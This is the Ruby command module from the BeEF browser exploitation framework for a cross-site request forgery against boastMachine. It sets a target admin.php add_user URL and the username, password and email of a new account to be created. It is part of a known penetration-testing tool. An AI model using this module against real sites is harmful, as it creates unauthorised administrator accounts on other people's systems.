20 lines
729 B
Ruby
20 lines
729 B
Ruby
#
|
|
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
|
|
# Browser Exploitation Framework (BeEF) - https://beefproject.com
|
|
# See the file 'doc/COPYING' for copying permission
|
|
#
|
|
class Boastmachine_add_user_csrf < BeEF::Core::Command
|
|
def self.options
|
|
[
|
|
{ 'name' => 'base', 'ui_label' => 'boastMachine URL', 'value' => 'http://target/bmc/admin.php?action=add_user&blog' },
|
|
{ 'name' => 'username', 'ui_label' => 'Username', 'value' => 'username' },
|
|
{ 'name' => 'password', 'ui_label' => 'Password', 'value' => 'password' },
|
|
{ 'name' => 'email', 'ui_label' => 'E-mail Address', 'value' => 'email@example.com' }
|
|
]
|
|
end
|
|
|
|
def post_execute
|
|
save({ 'result' => @datastore['result'] })
|
|
end
|
|
end
|